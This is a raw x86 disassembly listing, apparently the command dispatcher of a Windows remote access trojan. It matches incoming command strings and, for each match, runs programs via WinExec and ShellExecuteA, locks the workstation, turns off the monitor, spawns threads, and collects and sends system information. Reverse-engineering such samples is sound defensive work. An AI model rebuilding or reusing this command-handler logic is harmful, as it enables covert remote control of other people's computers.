mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00475f3c
pop ecx
lea eax, [ebp - 0x428]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x428]
mov edx, 0x47dc2c
call fcn.00405974
jne 0x4788bb
lea eax, [ebp - 8]
mov ecx, 9
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.0048ad60
lea eax, [ebp - 0x42c]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x42c]
mov edx, 0x47dc40
call fcn.00405974
jne 0x47894b
lea eax, [ebp - 8]
mov ecx, 9
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0048ae14
lea eax, [ebp - 0x430]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x430]
mov edx, 0x47dc54
call fcn.00405974
jne 0x478998
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
push 5
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_WinExec
lea eax, [ebp - 0x434]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x434]
mov edx, 0x47dc6c
call fcn.00405974
jne 0x478a7c
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea eax, [ebp - 0x438]
call fcn.00471754
mov eax, dword [ebp - 0x438]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00475f3c
pop ecx
lea eax, [ebp - 0x43c]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x43c]
mov edx, 0x47dc80
call fcn.00405974
jne 0x478ad2
lea eax, [ebp - 8]
mov ecx, 0xd
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x440]
call fcn.0046daf4
mov eax, dword [ebp - 0x440]
mov edx, dword [ebp - 8]
call fcn.0046de4c
lea eax, [ebp - 0x444]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x444]
mov edx, 0x47dc98
call fcn.00405974
jne 0x478b28
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x448]
call fcn.0046daf4
mov eax, dword [ebp - 0x448]
mov edx, dword [ebp - 8]
call fcn.0046dd84
lea eax, [ebp - 0x44c]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x44c]
mov edx, 0x47dcb0
call fcn.00405974
jne 0x478b6d
lea eax, [ebp - 8]
mov ecx, 0xe
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.004716c4
lea eax, [ebp - 0x450]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x450]
mov edx, 0x47dcc8
call fcn.00405974
jne 0x478c67
lea eax, [ebp - 8]
mov ecx, 0xe
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov eax, dword [ebp - 0x14]
call fcn.004059dc
mov edx, eax
lea eax, [ebp - 0x454]
call fcn.00405728
mov eax, dword [ebp - 0x454]
push eax
mov eax, dword [ebp - 0x10]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004059dc
pop edx
pop ecx
call fcn.00471964
lea eax, [ebp - 0x458]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x458]
mov edx, 0x47dce0
call fcn.00405974
jne 0x478d4b
lea eax, [ebp - 8]
mov ecx, 0xe
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea eax, [ebp - 0x45c]
call fcn.0046f858
mov eax, dword [ebp - 0x45c]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00475f3c
pop ecx
lea eax, [ebp - 0x460]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x460]
mov edx, 0x47dcf8
call fcn.00405974
jne 0x478e35
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 0xc]
call fcn.004055c8
lea eax, [ebp - 0x14]
mov ecx, 5
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov ecx, 4
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
push 0x47dd0c
push dword [ebp - 0x14]
push 0x47dd0c
lea eax, [ebp - 0x464]
mov edx, 3
call fcn.004058e0
mov edx, dword [ebp - 0x464]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.00470024
mov eax, dword [ebp - 8]
mov edx, 0x47dd18
call fcn.00405974
jne 0x478e49
call fcn.00470104
lea eax, [ebp - 0x468]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x468]
mov edx, 0x47dd30
call fcn.00405974
jne 0x478f23
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0xc]
mov edx, 0x47dd44
mov eax, dword [ebp - 0x14]
call fcn.00483444
mov eax, dword [ebp - 8]
mov edx, 0x47dd50
call fcn.00405974
jne 0x478f55
push 2
lea edx, [ebp - 0x46c]
mov eax, dword [0x45ea00]
call fcn.0045ea58
mov eax, dword [ebp - 0x46c]
push eax
mov eax, dword [eax]
call dword [eax + 0x74]
call fcn.0040711c
mov eax, dword [ebp - 8]
mov edx, 0x47dd64
call fcn.00405974
jne 0x478f87
push 0xa
lea edx, [ebp - 0x470]
mov eax, dword [0x45ea00]
call fcn.0045ea58
mov eax, dword [ebp - 0x470]
push eax
mov eax, dword [eax]
call dword [eax + 0x74]
call fcn.0040711c
mov eax, dword [ebp - 8]
mov edx, 0x47dd74
call fcn.00405974
jne 0x478fb9
push 0x22
lea edx, [ebp - 0x474]
mov eax, dword [0x45ea00]
call fcn.0045ea58
mov eax, dword [ebp - 0x474]
push eax
mov eax, dword [eax]
call dword [eax + 0x74]
call fcn.0040711c
mov eax, dword [ebp - 8]
mov edx, 0x47dd84
call fcn.00405974
jne 0x478feb
push 1
lea edx, [ebp - 0x478]
mov eax, dword [0x45ea00]
call fcn.0045ea58
mov eax, dword [ebp - 0x478]
push eax
mov eax, dword [eax]
call dword [eax + 0x74]
call fcn.0040711c
mov eax, dword [ebp - 8]
mov edx, 0x47dd98
call fcn.00405974
jne 0x47901b
lea edx, [ebp - 0x47c]
mov eax, dword [0x45ea00]
call fcn.0045ea58
mov eax, dword [ebp - 0x47c]
push eax
mov eax, dword [eax]
call dword [eax + 0x3c]
call fcn.0040711c
mov eax, dword [ebp - 8]
mov edx, 0x47ddac
call fcn.00405974
jne 0x479225
lea eax, [ebp - 0x480]
call fcn.00405d28
push eax
lea edx, [ebp - 0x484]
mov eax, dword [0x45ea00]
call fcn.0045ea58
mov eax, dword [ebp - 0x484]
push eax
mov eax, dword [eax]
call dword [eax + 0x90]
call fcn.0040711c
mov edx, dword [ebp - 0x480]
lea eax, [ebp - 0xc]
call fcn.004057d4
lea eax, [ebp - 0x488]
call fcn.00405d28
push eax
lea edx, [ebp - 0x48c]
mov eax, dword [0x45ea00]
call fcn.0045ea58
mov eax, dword [ebp - 0x48c]
push eax
mov eax, dword [eax]
call dword [eax + 0x24]
call fcn.0040711c
mov edx, dword [ebp - 0x488]
lea eax, [ebp - 0x10]
call fcn.004057d4
call fcn.004701ec
cmp al, 1
jne 0x4790eb
lea eax, [ebp - 0x490]
call fcn.00405d28
push eax
lea edx, [ebp - 0x494]
mov eax, dword [0x45ea00]
call fcn.0045ea58
mov eax, dword [ebp - 0x494]
push eax
mov eax, dword [eax]
call dword [eax + 0x6c]
call fcn.0040711c
mov edx, dword [ebp - 0x490]
lea eax, [ebp - 0x14]
call fcn.004057d4
call fcn.004701ec
cmp al, 1
jne 0x47912f
lea eax, [ebp - 0x498]
call fcn.00405d28
push eax
lea edx, [ebp - 0x49c]
mov eax, dword [0x45ea00]
call fcn.0045ea58
mov eax, dword [ebp - 0x49c]
push eax
mov eax, dword [eax]
call dword [eax + 0x70]
call fcn.0040711c
mov edx, dword [ebp - 0x498]
lea eax, [ebp - 0x18]
call fcn.004057d4
lea eax, [ebp - 0x4a0]
call fcn.00405d28
push eax
lea edx, [ebp - 0x4a4]
mov eax, dword [0x45ea00]
call fcn.0045ea58
mov eax, dword [ebp - 0x4a4]
push eax
mov eax, dword [eax]
call dword [eax + 0x80]
call fcn.0040711c
mov edx, dword [ebp - 0x4a0]
lea eax, [ebp - 0x1c]
call fcn.004057d4
cmp dword [ebp - 0xc], 0
jne 0x479180
lea eax, [ebp - 0xc]
mov edx, 0x47ddc0
call fcn.004055c8
cmp dword [ebp - 0x10], 0
jne 0x479193
lea eax, [ebp - 0x10]
mov edx, 0x47ddc0
call fcn.004055c8
cmp dword [ebp - 0x14], 0
jne 0x4791a6
lea eax, [ebp - 0x14]
mov edx, 0x47ddc0
call fcn.004055c8
cmp dword [ebp - 0x18], 0
jne 0x4791b9
lea eax, [ebp - 0x18]
mov edx, 0x47ddc0
call fcn.004055c8
cmp dword [ebp - 0x1c], 0
jne 0x4791cc
lea eax, [ebp - 0x1c]
mov edx, 0x47ddc0
call fcn.004055c8
push 0x47ddcc
push dword [ebp - 0xc]
push 0x47d4ac
push dword [ebp - 0x10]
push 0x47d4ac
push dword [ebp - 0x14]
push 0x47d4ac
push dword [ebp - 0x18]
push 0x47d4ac
push dword [ebp - 0x1c]
push 0x47d4ac
lea eax, [ebp - 0x4ac]
call fcn.0047028c
push dword [ebp - 0x4ac]
lea eax, [ebp - 0x4a8]
mov edx, 0xc
call fcn.004058e0
mov eax, dword [ebp - 0x4a8]
call fcn.00475d90
lea eax, [ebp - 0x4b0]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4b0]
mov edx, 0x47dddc
call fcn.00405974
jne 0x479309
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea eax, [ebp - 0x4b4]
call fcn.00470510
mov eax, dword [ebp - 0x4b4]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00475f3c
pop ecx
lea eax, [ebp - 0x4b8]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4b8]
mov edx, 0x47ddf0
call fcn.00405974
jne 0x479357
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
call fcn.004701ec
cmp al, 1
jne 0x479357
mov eax, dword [ebp - 8]
call fcn.00470898
lea eax, [ebp - 0x4bc]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4bc]
mov edx, 0x47de04
call fcn.00405974
jne 0x4793a5
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
call fcn.004701ec
cmp al, 1
jne 0x4793a5
mov eax, dword [ebp - 8]
call fcn.00470490
lea eax, [ebp - 0x4c0]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4c0]
mov edx, 0x47de18
call fcn.00405974
jne 0x4793f3
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
call fcn.004701ec
cmp al, 1
jne 0x4793f3
mov eax, dword [ebp - 8]
call fcn.004709e4
lea eax, [ebp - 0x4c4]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4c4]
mov edx, 0x47de30
call fcn.00405974
jne 0x479441
lea eax, [ebp - 8]
mov ecx, 0xe
mov edx, 1
call fcn.00405a84
call fcn.004701ec
cmp al, 1
jne 0x479441
mov eax, dword [ebp - 8]
call fcn.00470b30
lea eax, [ebp - 0x4c8]
push eax
mov ecx, 0x15
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4c8]
mov edx, 0x47de48
call fcn.00405974
jne 0x4794d5
lea eax, [ebp - 8]
mov ecx, 0x15
mov edx, 1
call fcn.00405a84
mov eax, dword [0x494a88]
mov dword [eax], 1
mov eax, dword [0x494b70]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [0x494bac]
mov edx, dword [ebp - 8]
call fcn.00405584
mov eax, dword [ebp - 8]
mov edx, 0x47de68
call fcn.00405974
jne 0x4794ed
mov eax, dword [0x494a88]
xor edx, edx
mov dword [eax], edx
lea eax, [ebp - 0x4cc]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4cc]
mov edx, 0x47de88
call fcn.00405974
jne 0x4795ce
lea eax, [ebp - 8]
mov ecx, 0xe
mov edx, 1
call fcn.00405a84
mov eax, dword [0x4948f8]
cmp dword [eax], 1
jne 0x479542
mov eax, 0x47dea0
call fcn.00475d90
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea edx, [ebp - 0x4d4]
mov eax, 0x1a
call fcn.0048b400
lea eax, [ebp - 0x4d4]
mov edx, 0x47deb4
call fcn.00405818
mov eax, dword [ebp - 0x4d4]
lea edx, [ebp - 0x4d0]
call fcn.0048110c
mov eax, dword [ebp - 0x4d0]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
call fcn.00475f3c
pop ecx
mov eax, dword [ebp - 8]
mov edx, 0x47dec4
call fcn.00405974
jne 0x479608
mov eax, dword [0x4948f8]
cmp dword [eax], 1
je 0x479608
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x4822f0
push 0
push 0
call sub.kernel32.dll_CreateThread_1
mov eax, dword [0x4948f8]
mov dword [eax], 1
mov eax, dword [ebp - 8]
mov edx, 0x47dee4
call fcn.00405974
jne 0x479620
mov eax, dword [0x4948f8]
xor edx, edx
mov dword [eax], edx
mov eax, dword [ebp - 8]
mov edx, 0x47df08
call fcn.00405974
jne 0x47963a
mov eax, dword [0x494a88]
mov dword [eax], 1
mov eax, dword [ebp - 8]
mov edx, 0x47df28
call fcn.00405974
jne 0x479652
mov eax, dword [0x494a88]
xor edx, edx
mov dword [eax], edx
lea eax, [ebp - 0x4d8]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4d8]
mov edx, 0x47df4c
call fcn.00405974
jne 0x4797b4
lea eax, [ebp - 8]
mov ecx, 0xe
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
lea edx, [ebp - 0x4e0]
mov eax, 0x1a
call fcn.0048b400
push dword [ebp - 0x4e0]
push 0x47deb4
push dword [ebp - 0xc]
lea eax, [ebp - 0x4dc]
mov edx, 3
call fcn.004058e0
mov eax, dword [ebp - 0x4dc]
call fcn.0040a26c
test al, al
jne 0x479762
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x47d301
push ebp
lea edx, [ebp - 0x4ec]
mov eax, 0x1a
call fcn.0048b400
push dword [ebp - 0x4ec]
push 0x47deb4
push dword [ebp - 0xc]
lea eax, [ebp - 0x4e8]
mov edx, 3
call fcn.004058e0
mov eax, dword [ebp - 0x4e8]
lea edx, [ebp - 0x4e4]
call fcn.0048b0e4
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00475f3c
pop ecx
mov eax, dword [ebp - 8]
mov edx, 0x47df64
call fcn.00405974
jne 0x4797cd
mov eax, 0x11
call fcn.0048a6a4
mov eax, dword [ebp - 8]
mov edx, 0x47df78
call fcn.00405974
jne 0x4797e6
mov eax, 0x12
call fcn.0048a6a4
mov eax, dword [ebp - 8]
mov edx, 0x47df8c
call fcn.00405974
jne 0x4797ff
mov eax, 0x10
call fcn.0048a6a4
mov eax, dword [ebp - 8]
mov edx, 0x47dfa0
call fcn.00405974
jne 0x479818
mov eax, 0x18
call fcn.0048a6a4
mov eax, dword [ebp - 8]
mov edx, 0x47dfb4
call fcn.00405974
jne 0x47983a
push 0
push 0xf140
push 0x112
push 0
call sub.user32.dll_SendMessageA
mov eax, dword [ebp - 8]
mov edx, 0x47dfc8
call fcn.00405974
jne 0x47984e
call sub.user32.dll_LockWorkStation
lea eax, [ebp - 0x4f0]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4f0]
mov edx, 0x47dfdc
call fcn.00405974
jne 0x479b3f
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 8]
call fcn.004055c8
lea eax, [ebp - 0x4f4]
mov edx, dword [0x494b34]
mov edx, dword [edx]
call fcn.00405728
push dword [ebp - 0x4f4]
push 0x47d8e0
lea edx, [ebp - 0x4f8]
mov eax, dword [0x4949d8]
movzx eax, word [eax]
call fcn.00409d70
push dword [ebp - 0x4f8]
push 0x47d8e0
lea eax, [ebp - 0x4fc]
call fcn.0048dcd8
push dword [ebp - 0x4fc]
push 0x47d8e0
lea eax, [ebp - 0x500]
call fcn.0048d4e4
push dword [ebp - 0x500]
push 0x47d79c
lea eax, [ebp - 0x504]
call fcn.0048d4a8
push dword [ebp - 0x504]
push 0x47d8e0
lea eax, [ebp - 0x508]
call fcn.0048d9f8
push dword [ebp - 0x508]
push 0x47d8e0
lea eax, [ebp - 0x50c]
call fcn.0046d400
push dword [ebp - 0x50c]
push 0x47d8e0
push 0x47dff0
push 0x47d8e0
lea eax, [ebp - 0x510]
call fcn.0048d56c
push dword [ebp - 0x510]
push 0x47d8e0
lea eax, [ebp - 0x514]
call fcn.0048d828
push dword [ebp - 0x514]
push 0x47d8e0
lea eax, [ebp - 0x518]
call fcn.0048d87c
push dword [ebp - 0x518]
push 0x47d8e0
lea eax, [ebp - 0x51c]
call fcn.0048d8cc
push dword [ebp - 0x51c]
push 0x47d8e0
lea eax, [ebp - 0x520]
call fcn.0048d930
push dword [ebp - 0x520]
push 0x47d8e0
lea eax, [ebp - 0x524]
call fcn.0048dd08
push dword [ebp - 0x524]
push 0x47d8e0
lea eax, [ebp - 0x528]
call fcn.0048dd38
push dword [ebp - 0x528]
push 0x47d8e0
lea eax, [ebp - 0x52c]
call fcn.0048dfe4
push dword [ebp - 0x52c]
push 0x47d8e0
lea eax, [ebp - 0x534]
call fcn.0046daf4
mov eax, dword [ebp - 0x534]
lea edx, [ebp - 0x530]
call fcn.0048e07c
push dword [ebp - 0x530]
push 0x47d8e0
lea edx, [ebp - 0x538]
xor eax, eax
call fcn.0040f234
push dword [ebp - 0x538]
push 0x47d8e0
mov eax, dword [0x494d3c]
push dword [eax]
push 0x47d8e0
mov eax, dword [0x494914]
push dword [eax]
push 0x47d8e0
lea edx, [ebp - 0x540]
mov eax, 0x47dffc
call fcn.00473608
mov eax, dword [ebp - 0x540]
lea edx, [ebp - 0x53c]
call fcn.0048c210
push dword [ebp - 0x53c]
push 0x47d8e0
lea eax, [ebp - 0x544]
call fcn.0048c2a0
push dword [ebp - 0x544]
push 0x47d8e0
lea eax, [ebp - 0x548]
call fcn.0048d1f8
push dword [ebp - 0x548]
lea eax, [ebp - 0xc]
mov edx, 0x2d
call fcn.004058e0
push ebp
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
call fcn.00475f3c
pop ecx
lea eax, [ebp - 0x54c]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x54c]
mov edx, 0x47e010
call fcn.00405974
jne 0x479c14
lea eax, [ebp - 8]
mov ecx, 0xd
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov eax, dword [0x494904]
cmp dword [eax], 0
je 0x479bb2
mov eax, dword [0x494904]
mov eax, dword [eax]
call fcn.004865d8
test al, al
je 0x479bb2
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x47d301
mov cl, 1
mov dl, 1
mov eax, dword [0x486044]
call fcn.0041f9d8
mov edx, dword [0x494904]
mov dword [edx], eax
mov eax, dword [0x494904]
mov eax, dword [eax]
mov byte [eax + 0xf], 1
mov eax, dword [0x494904]
mov eax, dword [eax]
mov dl, 5
call fcn.0041fbe4
mov eax, dword [ebp - 0xc]
call fcn.00409edc
mov edx, eax
mov eax, dword [0x494904]
mov eax, dword [eax]
call fcn.00486588
mov eax, dword [0x494904]
mov eax, dword [eax]
mov edx, 0x47d6c4
call fcn.0048658c
mov eax, dword [0x494904]
mov eax, dword [eax]
call fcn.0041fe94
lea eax, [ebp - 0x550]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x550]
mov edx, 0x47e028
call fcn.00405974
jne 0x479c6c
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
push 5
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0x47d594
push 0
call sub.shell32.dll_ShellExecuteA
lea eax, [ebp - 0x554]
push eax
mov ecx, 0x11
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x554]
mov edx, 0x47e03c
call fcn.00405974
jne 0x479e51
lea eax, [ebp - 8]
mov ecx, 0x11
mov edx, 1
call fcn.00405a84
mov dl, 1
mov eax, dword [0x417834]
call fcn.00404620
mov dword [ebp - 0x1a8], eax
mov edx, dword [ebp - 8]
